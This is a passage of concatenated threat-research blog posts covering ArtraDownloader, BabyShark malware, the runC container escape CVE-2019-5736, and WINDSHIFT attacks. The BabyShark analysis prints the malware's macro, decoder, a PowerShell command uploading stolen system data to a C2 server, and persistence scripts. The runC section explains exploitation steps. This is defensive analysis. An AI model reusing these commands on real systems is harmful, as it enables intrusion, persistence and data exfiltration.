d Unique string containing two instances of the victim’s username, the machine’s GUID, as well as various information queried via a call to GetSystemInfo()
e A variable that does not appear to be used within this particular sample

Table 5 GET Parameters Observed in ArtraDownloader Variant 3

An example response to this request can be seen below.

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Content-Length: 29

Date: Mon, 05 Nov 2018 19:22:56 GMT

Accept-Ranges: bytes

Server: LiteSpeed

Connection: Keep-Alive

 

Yes file58368[regdl]35No file

The response to this request is parsed, specifically attempting to identify the string Yes file. Should this string be present, the data between [ and ] is parsed. This data is used in a subsequent HTTP request made that will download a file from the remote server, as seen below:

GET /healthne/healthne/regdl HTTP/1.0

Host: aroundtheworld123[.]net

 

HTTP/1.0 200 OK

Last-Modified: Tue, 02 Oct 2018 04:38:28 GMT

Content-Type: application/octet-stream

Content-Length: 58368

Date: Mon, 05 Nov 2018 19:23:01 GMT

Accept-Ranges: bytes

Server: LiteSpeed

Connection: close

 

MZ......................[TRUNCATED]

This executable file is written to the same directory as the malware and uses the same name provided. As an example, should this malware originally be executed from C:\, the downloaded file would be written to C:\regdl.exe. Finally, this executable is run in a new process.

Indicators of Compromise

Please refer to the following link for a CSV file containing all relevant IOCs:

https://github.com/pan-unit42/iocs/tree/master/bitter

 

 

 

 

 

 

 

 

Unit 42 Vulnerability Research Team Discovers 23 New Vulnerabilities February 2019 Disclosures – Adobe and Microsoft

As part of Unit 42’s ongoing threat research, we can now disclose that Palo Alto Networks Unit 42 threat researchers have discovered 23 new vulnerabilities addressed by the Adobe Product Security Incident Response Team (PSIRT) as part of their February 2019 APSB19-07 security update release and 2 vulnerabilities addressed by the Microsoft Security Response Center (MSRC) as part of their February 2019 security update release.  Severity ratings ranged from Important to Critical for each of these vulnerabilities.

CVE Vulnerability Name or Category Impact Maximum Severity Rating Researcher(s)
CVE-2019-0625 Windows Jet Database Engine improperly handles objects in memory Remote Code Execution Important Bar Lahav and Gal De Leon

 

CVE-2019-0675 Microsoft Office Access Connectivity Engine improperly handles objects in memory Remote Code Execution Important Gal De Leon and Bar Lahav

 

CVE-2019-7025 Use After Free Arbitrary Code Execution Critical Gal De Leon
CVE-2019-7065 Out-of-Bounds Read Information Disclosure Important Bo Qu
CVE-2019-7066 Untrusted Pointer Dereference Arbitrary Code Execution Critical Bo Qu
CVE-2019-7068 Use After Free

 

Arbitrary Code Execution Critical Bo Qu
CVE-2019-7026 Use After Free Arbitrary Code Execution Critical Zhibin Zhang
CVE-2019-7027 Out-of-Bounds Write

 

Arbitrary Code Execution Critical Zhibin Zhang
CVE-2019-7028 Out-of-Bounds Read Information Disclosure Important Zhibin Zhang
CVE-2019-7082 Use After Free Arbitrary Code Execution Critical Zhibin Zhang
CVE-2019-7046 Untrusted Pointer Dereference Arbitrary Code Execution Critical Qi Deng
CVE-2019-7050 Use After Free

 

Arbitrary Code Execution Critical Qi Deng
CVE-2019-7051 Untrusted Pointer Dereference Arbitrary Code Execution Critical Qi Deng
CVE-2019-7083 Use After Free

 

Arbitrary Code Execution Critical Qi Deng
CVE-2019-7052 Out-of-Bounds Write Arbitrary Code Execution Critical

 

Hui Gao
CVE-2019-7053 Out-of-Bounds Read Information Disclosure

 

Important Hui Gao

 

CVE-2019-7054 Untrusted Pointer Dereference Arbitrary Code Execution Critical

 

Hui Gao
CVE-2019-7055 Out-of-Bounds Read

 

Information Disclosure

 

Important Zhaoyan Xu

 

CVE-2019-7056 Out-of-Bounds Read

 

Information Disclosure

 

Important Zhaoyan Xu

 

CVE-2019-7057 Out-of-Bounds Read

 

Information Disclosure

 

Important Zhaoyan Xu

 

CVE-2019-7058 Out-of-Bounds Read

 

Information Disclosure

 

Important Zhanglin He

 

CVE-2019-7059 Out-of-Bounds Read

 

Information Disclosure

 

Important Zhanglin He

 

CVE-2019-7060 Out-of-Bounds Write Arbitrary Code Execution Critical

 

Zhanglin He

 

Palo Alto Networks customers with a Threat Prevention Subscription who deploy our Next-Generation Security Platform are protected from zero-day vulnerabilities such as these. Weaponized exploits for these vulnerabilities are prevented by Traps multi-layered exploit prevention capabilities. Threat prevention capabilities such as vulnerability protection with IPS and WildFire provide our customers with comprehensive protection and automatic updates against previously unknown threats.

Palo Alto Networks appreciates the recognition and credit Microsoft and Adobe has given our Unit 42 Threat Researchers. Palo Alto Networks is a regular contributor to vulnerability research in Microsoft, Adobe, Apple, Google Android and other ecosystems with more than 200 critical vulnerabilities discovered. By proactively identifying these vulnerabilities, developing protections for our customers, and sharing the information with the security community, we are removing weapons used by attackers to threaten users, and compromise enterprise, government, and service provider networks.

New BabyShark Malware Targets U.S. National Security Think Tanks

In February 2019, Palo Alto Networks Unit 42 researchers identified spear phishing emails sent in November 2018 containing new malware that shares infrastructure with playbooks associated with North Korean campaigns. The spear phishing emails were written to appear as though they were sent from a nuclear security expert who currently works as a consultant for in the U.S. The emails were sent using a public email address with the expert’s name and had a subject referencing North Korea’s nuclear issues. The emails had a malicious Excel macro document attached, which when executed led to a new Microsoft Visual Basic (VB) script-based malware family which we are dubbing “BabyShark”.

BabyShark is a relatively new malware. The earliest sample we found from open source repositories and our internal data sets was seen in November 2018. The malware is launched by executing the first stage HTA from a remote location, thus it can be delivered via different file types including PE files as well as malicious documents. It exfiltrates system information to C2 server, maintains persistence on the system, and waits for further instruction from the operator. Figure 1, below, shows the flow of execution.

Figure 1 BabyShark execution flow

Unit 42 was able to determine the phishing emails targeted at least:

  • A university in the U.S. which was to hold a conference about North Korea denuclearization issue at the time
  • A research institute based in the U.S. which serves as a think tank for national security issues, and where the previously referenced nuclear expert currently works.

Expanding our search to public repository samples, we identified additional malicious document samples delivering BabyShark. The original file names and decoy contents of these samples suggested that the threat actor might have interests in gathering intelligence related to not only North Korea, but possibly wider in the Northeast Asia region.

During the investigation, we were able to find links to other suspected North Korean activities in the past; KimJongRAT and STOLEN PENCIL.

Malicious Documents

BabyShark is a relatively new malware. The first sample we observed is from November 2018. The decoy contents of all malicious documents delivering BabyShark were written in English and were related to Northeast Asia’s regional security issues.

Figure 2 Timeline of BabyShark malicious documents and filename / decoys

While some decoys used content which is publicly available information on the internet, some used content which appears to not be public. Inspecting the metadata of the documents with this non-public content, we suspect that the threat actor likely compromised someone with access to private documents at a U.S. national security think tank.

Figure 3 Decoy content copied from the internet

Figure 4 Decoy content not publicly available on the internet (intentionally obfuscated)

The malicious documents contain a simple macro which would load the BabyShark’s first stage HTA at a remote location.

Sub AutoOpen()

Shell ("mshta https://tdalpacafarm[.]com/files/kr/contents/Vkggy0.hta")

End Sub

BabyShark Malware Analysis

Analyzed sample details:

SHA256 9d842c9c269345cd3b2a9ce7d338a03ffbf3765661f1ee6d5e178f40d409c3f8
Create Date 2018:12:31 02:40:00Z
Modify Date 2019:01:10 06:54:00Z
Filename Oct_Bld_full_view.docm

Table 1 Analyzed sample details

The sample is a Word document which contains a malicious macro loading BabyShark by executing the first stage HTA file at a remote location below:

https://tdalpacafarm[.]com/files/kr/contents/Vkggy0.hta

After successfully loading the first stage HTA, it sends out an HTTP GET request to another location on the same C2 server, then decodes the response content with the following decoder function.

Function Co00(c)

L=Len(c)

s=""

For jx=0 To d-1

For ix=0 To Int(L/d)-1

s=s&Mid(c,ix*d+jx+1,1)

Next

Next

s=s&Right(c,L-Int(L/d)*d)

Co00=s

End Function

The decoded BabyShark VB script first enables all future macros for Microsoft Word and Excel by adding the following registry keys:

HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings, value:1

HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings, value:1

HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings, value:1

HKCU\Software\Microsoft\Office\14.0\WORD\Security\VBAWarnings, value:1

HKCU\Software\Microsoft\Office\15.0\WORD\Security\VBAWarnings, value:1

HKCU\Software\Microsoft\Office\16.0\WORD\Security\VBAWarnings, value:1

It then issues a sequence of Windows commands and saves the results in %AppData%\Microsoft\ttmp.log.

whoami

hostname

ipconfig /all

net user

dir "%programfiles%"

dir "%programfiles% (x86)"

dir "%programdata%\Microsoft\Windows\Start Menu"

dir "%programdata%\Microsoft\Windows\Start Menu\Programs"

dir "%appdata%\Microsoft\Windows\Recent"

tasklist

ver

set

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"

The collected data is encoded using Windows certutil.exe tool, then uploaded to the C2 via a HTTP POST request.

retu=wShell.run("certutil -f -encode """&ttmp&""" """&ttmp1&"""",0,true)

retu=wShell.run("powershell.exe (New-Object System.Net.WebClient).UploadFile('https://tdalpacafarm[.]com/files/kr/contents/upload.php','"&ttmp1&"');del """&ttmp1&""";del """&ttmp&"""",0,true)

BabyShark adds the following registry key value to maintain persistence and waits for further commands from the operator. Unfortunately, we were not able to collect additional commands issued by the operator.

HKCU\Software\Microsoft\Command Processor\AutoRun, value: “powershell.exe mshta https://tdalpacafarm[.]com/files/kr/contents/Usoro.hta"

This registry key executes the string value when cmd.exe is launched. BabyShark ensures cmd.exe is launched by registering the following scripts as scheduled tasks:

[%AppData%\Microsoft\Axz\zvftz.vbs]

Set wShell=CreateObject("WScript.Shell"):retu=wShell.run("cmd.exe /c taskkill /im cmd.exe",0,true)

[%AppData%\Adobe\Gqe\urjlt.js]

wShell=new ActiveXObject("WScript.Shell");retu=wShell.run("cmd.exe /c taskkill /im cmd.exe"",0,true);

Links to Other Activity

We noticed BabyShark having connections with other suspected North Korean activities in the past; KimJongRAT and STOLEN PENCIL.

KimJongRAT connection:

  • BabyShark and KimJongRAT use the same file path for storing collected system information: %AppData%/Microsoft/ttmp.log.
  • KimJongRAT had similar interests in targeting national security related targets. The malware was delivered with the following decoys:
Decoy Filename Dropper SHA256
Kendall-AFA 2014 Conference-17Sept14.pdf c4547c917d8a9e027191d99239843d511328f9ec6278009d83b3b2b8349011a0
U.S. Nuclear Deterrence.pdf 1ad53f5ff0a782fec3bce952035bc856dd940899662f9326e01cb24af4de413d
제30차한미안보 안내장 ENKO.fdp.etadpU.scr (translates to 30th Korea-U.S. National Security Invitation Update) b3e85c569e89b6d409841463acb311839356c950d9eb64b9687ddc6a71d1b01b
Conference Information_2010 IFANS Conference on Global Affairs (1001).pdf 0c8f17b2130addebcb2ca75bd7a982e37ddcc49d49e79fe60e3fda767f2ec972

Table 2 Decoy filename used when delivering KimJongRAT

  • The threat actor behind the BabyShark malware frequently tested its samples for anti-virus detection when developing the malware. The testing samples included a freshly compiled KimJongRAT.
SHA256 Size Compile Date AV Test Site Upload Date
52b898adaaf2da71c5ad6b3dfd3ecf64623bedf505eae51f9769918dbfb6b731 685,568 bytes 2019-01-04 05:44:31 2019-01-04 08:15:41

Table 3 Freshly compiled testing KimJongRAT sample

STOLEN PENCIL connection:

  • A freshly compiled testing version of a PE type BabyShark loader was uploaded to a public sample repository. The sample was signed with the stolen codesigning certificate used in the STOLEN PENCIL campaign. We did not notice any other malware being signed with this certificate.
SHA256 Size Compile Date AV Test Site Upload Date
6f76a8e16908ba2d576cf0e8cdb70114dcb70e0f7223be10aab3a728dc65c41c 32,912 bytes 2018-12-21 00:34:35 2018-12-21 08:30:28

Table 4 Signed testing version of PE type BabyShark loader sample

Figure 5 Codesign details

Conclusion

BabyShark is being used in a limited spear phishing campaign which started in November 2018 and is still ongoing. The threat actor behind it has a clear focus on gathering intelligence related to Northeast Asia’s national security issues. Well-crafted spear phishing emails and decoys suggest that the threat actor is well aware of the targets, and also closely monitors related community events to gather the latest intelligence. While not conclusive, we suspect that the threat actor behind BabyShark is likely connected to the same actor who used the KimJongRAT malware family, and at least shares resources with the threat actor responsible for the STOLEN PENCIL campaign. We also noticed testing indicating the attackers are working on a PE loader for BabyShark. The threat actor may use different methods to deliver BabyShark in the future campaigns.

Palo Alto Networks customers are protected from this threat in the following ways:

  • WildFire and Traps detect all the malware supported in this report as malicious.
  • C2 domains used by the attackers are blocked via Threat Prevention.

AutoFocus customers can monitor ongoing activity from the threats discussed in this report by looking at the following tag:

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit cyberthreatalliance.org.

Indicators of Compromise

Malicious Documents:

7b77112ac7cbb7193bcd891ce48ab2acff35e4f8d523980dff834cb42eaffafa

9d842c9c269345cd3b2a9ce7d338a03ffbf3765661f1ee6d5e178f40d409c3f8

2b6dc1a826a4d5d5de5a30b458e6ed995a4cfb9cad8114d1197541a86905d60e

66439f0e377bbe8cda3e516e801a86c64688e7c3dde0287b1bfb298a5bdbc2a2

8ef4bc09a9534910617834457114b9217cac9cb33ae22b37889040cde4cabea6

331d17dbe4ee61d8f2c91d7e4af17fb38102003663872223efaa4a15099554d7

1334c087390fb946c894c1863dfc9f0a659f594a3d6307fb48f24c30a23e0fc0

dc425e93e83fe02da9c76b56f6fd286eace282eaad6d8d497e17b3ec4059020a

94a09aff59c0c27d1049509032d5ba05e9285fd522eb20b033b8188e0fee4ff0

PE version loader, signed with stolen certificate:

6f76a8e16908ba2d576cf0e8cdb70114dcb70e0f7223be10aab3a728dc65c41c

Breaking out of Docker via runC – Explaining CVE-2019-5736

Last week (2019-02-11) a new vulnerability in runC was reported by its maintainers, originally found by Adam Iwaniuk and Borys Poplawski. Dubbed CVE-2019-5736, it affects Docker containers running in default settings and can be used by an attacker to gain root-level access on the host.
Aleksa Sarai, one of runC’s maintainers, found that the same fundamental flaw exists in LXC. As opposed to Docker though, only privileged LXC containers are vulnerable. Both runC and LXC were patched and new versions were released.

The vulnerability gained a lot of traction and numerous technology sites and commercial companies addressed it in dedicated posts. Here at Twistlock, our CTO John Morello wrote an excellent piece with all the relevant details and the mitigations offered by the Twistlock platform.

Initially, the official exploit code wasn’t to be released publicly until 2019-02-18, in order to prevent malicious parties from weaponizing it before users have had some time to update. In the following days though, several people decided to release their own exploit code. That led the runC team to eventually release their exploit code earlier (2019-02-13) since – as they put it – “the cat was out of the bag”.

This post aims to be a comprehensive technical deep dive into the vulnerability and it’s various exploitation methods.

So What Is runC?

RunC is a container runtime originally developed as part of Docker and later extracted out as a separate open source tool and library. As a “low level” container runtime, runC is mainly used by “high level” container runtimes (e.g. Docker) to spawn and run containers, although it can be used as a stand-alone tool.
“High level” container runtimes like Docker will normally implement functionalities such as image creation and management and will use runC to handle tasks related to running containers – creating a container, attaching a process to an existing container (docker exec) and so on.

Procfs

To understand the vulnerability, we need to go over some procfs basics. The proc filesystem is a virtual filesystem in Linux that presents information primarily about processes, typically mounted to /proc. It is virtual in a sense that it does not exist on disk. Instead, the kernel creates it in memory. It can be thought of as an interface to system data that the kernel exposes as a filesystem. Each process has its own directory in procfs, at /proc/[pid]:


As shown in the image above, /proc/self is a symbolic link to the directory of the currently running process (in this case pid 177). Each process’s directory contains several files and directories with information on the process. For the vulnerability, the relevant ones are:

  • /proc/self/exe – a symbolic link to the executable file the process is running, and ;
  • /proc/self/fd – a directory containing the file descriptors open by the process.

For example, by listing the files under /proc/self using ls /proc/self one can see that /proc/self/exe points to the ‘ls’ executable.


That makes sense as the one accessing /proc/self is the ‘ls’ process that our shell spawned.

The Vulnerability

Let’s go over the vulnerability overview given by the runC team:

The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts:

  • Creating a new container using an attacker-controlled image.
  • Attaching (docker exec) into an existing container which the attacker had previous write access to.

Those two scenarios might seem different, but both require runC to spin up a new process in a container and are implemented similarly. In both cases, runC is tasked with running a user-defined binary in the container. In Docker, this binary is either the image’s entry point when starting a new container, or docker exec’s argument when attaching to an existing container.

When this user binary is run, it must already be confined and restricted inside the container, or it can jeopardize the host. In order to accomplish that, runC creates a ‘runC init’ subprocess which places all needed restrictions on itself (such as entering or setting up namespaces) and effectively places itself in the container. Then, the runC init process, now in the container, calls the execve syscall to overwrite itself with the user requested binary.

This is the method used by runC both for creating new containers and for attaching a process to an existing container.

The researchers who revealed the vulnerability discovered that an attacker can trick runC into executing itself by asking it to run /proc/self/exe, which is a symbolic link to the runC binary on the host.


An attacker with root access in the container can then use /proc/[runc-pid]/exe as a reference to the runC binary on the host and overwrite it. Root access in the container is required to perform this attack as the runC binary is owned by root.
The next time runC is executed, the attacker will achieve code execution on the host. Since runC is normally run as root (e.g. by the Docker daemon), the attacker will gain root access on the host.

Why not runC init?

The image above might mislead some to believe the vulnerability (i.e. tricking runC into executing itself) is redundant. That is, why can’t an attacker simply overwrite /proc/[runc-init-pid]/exe instead?
A patch for a similar runC vulnerability, CVE-2016-9962, mitigates this kind of attack.
CVE-2016-9962 revealed that the runC init process possessed open file descriptors from the host which could be used by an attacker in the container to traverse the host’s filesystem and thus break out of the container. Part of the patch for this flaw was setting the runc init process as ‘non-dumpable’ before it entering the container.

In the context of CVE-2019-5736, the ‘non-dumpable’ flag denies other processes from dereferencing /proc/[pid]/exe, and therefore mitigates overwriting the runC binary through /proc/[runc-init-pid]/exe [1]. Calling execve drops this flag though, and hence the new runC process’ /proc/[runc-pid]/exe is accessible.

The Symlink Problem

The vulnerability may appear to contradict the way symbolic links are implemented in Linux.
Symbolic links simply hold the path to their target. For a runC process, /proc/self/exe should contain something like /usr/sbin/runc.
When a symlink is accessed by a process, the kernel uses the path present in the link to find the target under the root of the accessing process.
That begs the question – when a process in the container opens the symbolic link to the runC binary, why doesn’t the kernel searches for the runC path inside the container root?

The answer is that /proc/[pid]/exe does not follow the normal semantics for symbolic links. Technically this might count as a violation of POSIX, but as I mentioned earlier procfs is a special filesystem. When a process opens /proc/[pid]/exe, there is none of the normal procedure of reading and following the contents of a symlink. Instead, the kernel just gives you access to the open file entry directly.

Exploitation

Soon after the vulnerability was reported, when no POCs were publicly released yet, I attempted to develop my own POC based on the detailed description of the vulnerability given in the LXC patch addressing it. You can find the complete POC code here.

Let’s break down LXC’s description of the vulnerability:

when runC attaches to a container the attacker can trick it into executing itself. This could be done by replacing the target binary inside the container with a custom binary pointing back at the runC binary itself. As an example, if the target binary was /bin/bash, this could be replaced with an executable script specifying the interpreter path #!/proc/self/exe

The ‘#!’ syntax is called shebang and is used in scripts to specify an interpreter. When the Linux loader encounters the shebang, it runs the interpreter instead of the executable.

As seen in the video, the program finally executed by the loader is:
interpreter [optional-arg] executable-path

When the user runs something like docker exec container-name /bin/bash, the loader will recognize the shebang in the modified bash and execute the interpreter we specified – /proc/self/exe, which is a symlink to the runC binary.
We can proceed to overwrite the runC binary from a separate process in the container through /proc/[runc-pid]/exe.

The attacker can then proceed to write to the target of /proc/self/exe to try and overwrite the runC binary on the host. However in general, this will not succeed as the kernel will not permit it to be overwritten whilst runC is executing.

Basically, we cannot overwrite the runC binary while a process is running it. On the other hand, if the runC process exits, /proc/[runc-pid]/exe will vanish and we will lose the reference to the runC binary. To overcome this, we open /proc/[runc-pid]/exe for reading in our process, which creates a file descriptor at /proc/[our-pid]/fd/3.
We then wait for the runC process to exit, and proceed to open /proc/[our-pid]/fd/3 for writing, and overwrite runC.
Here is the code for overwrite_runc, shortened for brevity:

Let’s see some action! The exploit output shows the steps taken to overwrite runC. You can see that the runC process is running as pid 20054. The video can also be seen here.

This method has one setback though – it requires an additional process to run the attacker code. Since containers are started with only one process (i.e. the Docker’s image entry point), this approach couldn’t be used to create a malicious image that will compromise the host when run.
Some other POCs you might have seen that implement a similar approach are Frichetten’s and feexd’s.

Shared Libraries Approach

A different exploitation method is used in the official POC released by runC’s maintainers and is superior to POCs similar to mine since it can be implemented to compromise the host through two separate methods:

  1. When a user execs a command into an existing attacker controlled container
  2. When a user runs a malicious image

We’ll now look into building a malicious image since the previous POC already demonstrated the first scenario. The POC I wrote for this method is heavily based on q3k’s POC, which, to the best of my knowledge, was the first published malicious image POC. You can view the full POC code here.

Let’s go over the Dockerfile used to build the malicious image. First, the entry point of the image is set to /proc/self/exe in order to trick runC into executing itself when the image is run.

RunC is dynamically linked to several shared libraries at run time, which can be listed using the ldd command.

When the runC process is executed in the container, those libraries are loaded into the runC process by the dynamic linker. It is possible to substitute one of those libraries with a malicious version, that will overwrite the runC binary upon being loaded into the runC process.
Our Dockerfile builds a malicious version of the libseccomp library:

The Dockerfile appends the content of run_at_link.c to one of libsecomp’s source files. Subsequently, the malicious libsecomp is built.

The constructor attribute (a GCC-specific syntax) indicates that the run_at_link function is to be executed as an initialization function [2] for libseccomp after the dynamic linker loads the library into the runC process. Since run_at_link will be executed by the runC process, it can access the runC binary at /proc/self/exe.
The runC process must exit for the runC binary to be writable though. To enforce the exit, run_at_link calls the execve syscall to execute overwrite_runc.

Since execve doesn’t affect the file descriptors open by the process, the same file descriptor trick from the previous POC can be used:

  1. The runC process loads the libseccomp library and transfers execution to the run_at_link function.
  2. run_at_link opens the runC binary for reading through /proc/self/exe. This creates a file descriptor at /proc/self/fd/${runc_fd_read}.
  3. run_at_link calls execve to execute overwrite_runc.
  4. The process is no longer running the runC binary, overwrite_runc opens /proc/self/fd/runc_fd_read for writing and overwrites the runC binary.

For the following video, I built a malicious image that overwrites the runC binary with a simple script that spawns a reverse shell at port 2345.

The docker run command executes runC twice. Once to create and run the container, which executes the POC to overwrite runC, and then again to stop the container using runc delete [3].
The second time runC is executed, it is already overwritten, and hence the reverse shell script is executed instead.

The Fix

RunC and LXC were both patched using the same approach, which is described clearly in the LXC patch commit:

To prevent this attack, LXC has been patched to create a temporary copy of the calling binary itself when it starts or attaches to containers. To do this LXC creates an anonymous, in-memory file using the memfd_create() system call and copies itself into the temporary in-memory file, which is then sealed to prevent further modifications. LXC then executes this sealed, in-memory file instead of the original on-disk binary. Any compromising write operations from a privileged container to the host LXC binary will then write to the temporary in-memory binary and not to the host binary on-disk, preserving the integrity of the host LXC binary. Also as the temporary, in-memory LXC binary is sealed, writes to this will also fail.

RunC has been patched using the same method. It re-executes from a temporary copy of itself when it starts or attaches to containers. Consequently, /proc/[runc-pid]/exe now points to the temporary file, and the runC binary can’t be reached from within the container.
The temporary file is also sealed to block writing to it, although overwriting it shouldn’t compromise the host.

This patch introduced some issues though. The temporary runC copy is created in-memory after the runc init process has already applied the container’s cgroup memory constraints on itself. For containers running with a relatively low memory limit (e.g 10Mb), this can cause processes in the container to be oom-killed (Out Of Memory killed) by the kernel when the runC init process attaches to the container.

If you are interested, an issue regarding this complication was created and contains a discussion about alternative fixes that might not introduce the same problem.

CVE-2019-5736 and Privileged Containers

As a general rule of thumb, privileged containers (of a given container runtime) are less secure then unprivileged containers (of the same runtime).
Earlier I stated that the vulnerability affects all Docker containers but only LXC’s privileged containers. So why are Docker unprivileged containers vulnerable while LXC unprivileged containers aren’t? Well, it’s because LXC and Docker define privileged containers differently. In fact, Docker unprivileged containers are considered privileged according to LXC philosophy.

Privileged containers are defined as any container where the container uid 0 is mapped to the host's uid 0.

The main difference is that LXC runs unprivileged containers in a separate user namespace by default, while Docker doesn’t.
User namespaces are a feature of Linux that can be used to separate the container root from the host root. The root inside the container, as well as all other users, are mapped to unprivileged users on the host. In other words, a process can have root access for operations inside the container but is unprivileged for operations outside it. If you would like a more in-depth explanation, I recommend LWN’s namespace series

Image from kinvolk.
So how does running the container in a user namespace mitigate this vulnerability?
The attacker is root inside the container but is mapped to an unprivileged user on the host. Therefore, when the attacker tries to open the host’s runC binary for writing, he is denied by the kernel.

You might wonder why Docker doesn’t run containers in a separate user namespace by default. It’s because user namespaces do have some drawbacks in the context of containers, which are a bit out of the scope of this post. If you are interested, Docker and rkt (another container runtime) both list the limitations of running containers in user namespaces.

Ending Note

I hope this post gave you a bit of insight into the different aspects of this vulnerability. If you are using either runC, Docker, or LXC, don’t forget to update to the patched version.
Feel free to reach out with any questions you may have through email or @TwistlockLabs.


 

[1] As a side note, privileged Docker containers (before the new patch) could use the /proc/pid/exe of the runc init process to overwrite the runC binary. To be exact, the specific privileges required are SYS_CAP_PTRACE and disabling AppArmor.

[2] For those familiar with Windows DLLs, it resembles DllMain.

[3] The container is stopped after overwrite_runc exits, since overwrite_runc was executed as the init process (PID 1) of the container.

Shifting in the Wind: WINDSHIFT Attacks Target Middle Eastern Governments

Executive Summary

In August of 2018, DarkMatter released a report entitled “In the Trails of WINDSHIFT APT”, which unveiled a threat actor with TTPs very similar to those of Bahamut. Subsequently, two additional articles (here and here) were released by Objective-See which provide an analysis of some validated WINDSHIFT samples targeting OSX systems. Pivoting on specific file attributes and infrastructure indicators, Unit 42 was able to identify and correlate additional attacker activity and can now provide specific details on a targeted WINDSHIFT attack as it unfolded at a Middle Eastern government agency.

Summary of Aggregated WINDSHIFT Attacker Activity

The following timeline summarizes validated WINDSHIFT activity through June of 2018.

Figure 1: Known WINDSHIFT activity across main disclosure sources.

As shown within the timeline above, the WINDSHIFT activity observed by Unit 42 falls between January and May of 2018.

Middle Eastern Government Agency Attack Timeline

The following is a summary of observed WINDSHIFT activity which targeted a Middle Eastern government agency:

Figure 2: Unit 42 Observed WINDSHIFT samples.

The first attack occurred in early January of 2018 with an inbound WINDTAIL sample (the backdoor family used by WINDSHIFT) originating from the remote IP address 109.235.51[.]110 to a single internal IP address within the government agency. As per the timeline in Figure 2, at the time this event occurred, the IP address 109.235.51[.]110 was associated with the domain flux2key[.]com, a known WINDSHIFT domain. Upon further analysis, Unit 42 determined the sample’s corresponding C2 server IP address was 109.235.51[.]153. At the time this event occurred, that IP was associated with the domain string2me[.]com, which is a known WINDSHIFT domain. While Unit 42 does not have any insight into the attempted infection methodology in this case, the actor’s TTPs would suggest that spearphishing was almost certainly involved.

After the initial infection attempt, several additional WINDTAIL samples from the same external IP address, 109.235.51[.]110, were directed at the same internal IP address from January through May of 2018 (see Figure 2 for additional details). All related WINDTAIL samples were Mac OSX app bundles in zip archives, which is consistent with WINDSHIFT TTPS.

One sample in particular, named “mcworker.zip” (SHA256: e0fdcb5e0215f9fae485fbfcd615c79b85806827e461bca2e1c00c82e83281dc) deserves particular attention. Upon further analysis, Unit 42 determined its C2 server IP address was 185.25.50[.]189. According to OSINT, at the time of the activity, the IP address 185.25.50[.]189 had one domain resolution: domforworld[.]com.

Conclusion

By analyzing this attack in detail, Unit 42 was able to gain valuable insight into the real-world TTPs of a known threat actor group. Of particular importance are the following findings:

  • Unit 42 assesses with high confidence that both the IP address 185.25.50[.]189 and the domain domforworld[.]com is associated with WINDSHIFT activity. Additionally, the IP addresses 109.235.51[.]110 and 109.235.51[.]153, corresponding to the previously validated WINDSHIFT domains flux2key[.]com and string2me[.]com, respectively, were also observed in use during this campaign.
  • The attacker-owned IP address 109.235.50[.]191 was subsequently identified in a Norman Security report from as being associated with Hangover threat actor activity, and both IP addresses 109.235.51[.]110 and 109.235.50[.]191 shared the name “XENEUROPE” within their organizational registrant WHOIS information. This organizational name is tied to a number of IP addresses of Hangover-associated infrastructure as per the Norman report. Collectively, this evidence serves to strengthen the implication from other security researchers that Operation Hangover and WINDSHIFT activity are possibly related.
  • Based on Unit 42’s observations of multiple inbound WINDTAIL samples directed at the same internal IP address, Unit 42 assesses with moderate confidence that the attackers were not able to establish persistence within the targeted environment. While Unit 42 cannot definitively determine the attempted delivery vector of these samples, WINDTAIL TTPs would indicate that it was likely standard spearphishing chicanery.
  • One of two of the Mac OSX developer certificates tied to the WINDTAIL samples shown in DarkMatter’s original presentation, Caren Van (4F9G49SUXB), was also tied to the WINDTAIL samples within this blog. Additionally, a newly identified certificate, warren portman (95RKE2AA8F), was found to be directly affiliated with WINDSHIFT malware.

Palo Alto Networks customers are protected from this threat in the following ways:

  • AutoFocus customers can track these samples with the Windshift tag.
  • WildFire detects all files mentioned in this report with malicious verdicts.

IOCs

Infrastructure:

Domain IP Address
flux2key[.]com 109.235.51[.]110
string2me[.]com 109.235.51[.]153
domforworld[.]com 185.25.50[.]189

File Hashes:

 

File Name(s) Apple Developer Certificate  SHA-256
trusted.zip Caren Van (4F9G49SUXB) ce8e01373499b539f4746c0e68c850357476abe36b12834f507f9ba19af3d4f9
mcworker.zip Caren Van (4F9G49SUXB) e0fdcb5e0215f9fae485fbfcd615c79b85806827e461bca2e1c00c82e83281dc
keybaged.zip Caren Van (4F9G49SUXB) 1fbfbaefd50627796e7f16b8cc2b81ffbc5effcb33b64cc8e349e44b5d5d3ee8
trustb.zip Caren Van (4F9G49SUXB) 1de218e45cdf069c10d1a8735d82688b8964261a5efe3b6560e0fdcfa3c44c1d
frd.zip Caren Van (4F9G49SUXB) dd0e0883392ffe8c72c4b13f58e5861fc2f4bc518a6abea4f81ae3a44b2eda1c
smdd.zip Caren Van (4F9G49SUXB) e2a5663584727efa396c319f7f99a12205bb05c9c678ffae130e9f86667505a6
logd.zip Caren Van (4F9G49SUXB) ffae55894f0f31d99105b5b7bbbca79e9c1019b37b7a5a20368f50c173352fd1
logd.zip Caren Van (4F9G49SUXB) cb3068ee887fc2f66d3df886421d5e5fa5e31ec4ee0079a7dcf9628bd2730de0
lsd.zip Caren Van (4F9G49SUXB) 0c0fce879c8ca00a6f9feeaccf6cba64374e508cacd664682e794a4a4cc64ffb
tootoo.zip warren portman (95RKE2AA8F) 8c8b53f4d4836bd7d4574fe80039caf9f2bd4d75740f2e8e22619064c830c6d9

 

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

 

 

 

Threat Brief: Understanding Domain Generation Algorithms (DGA)

Intro

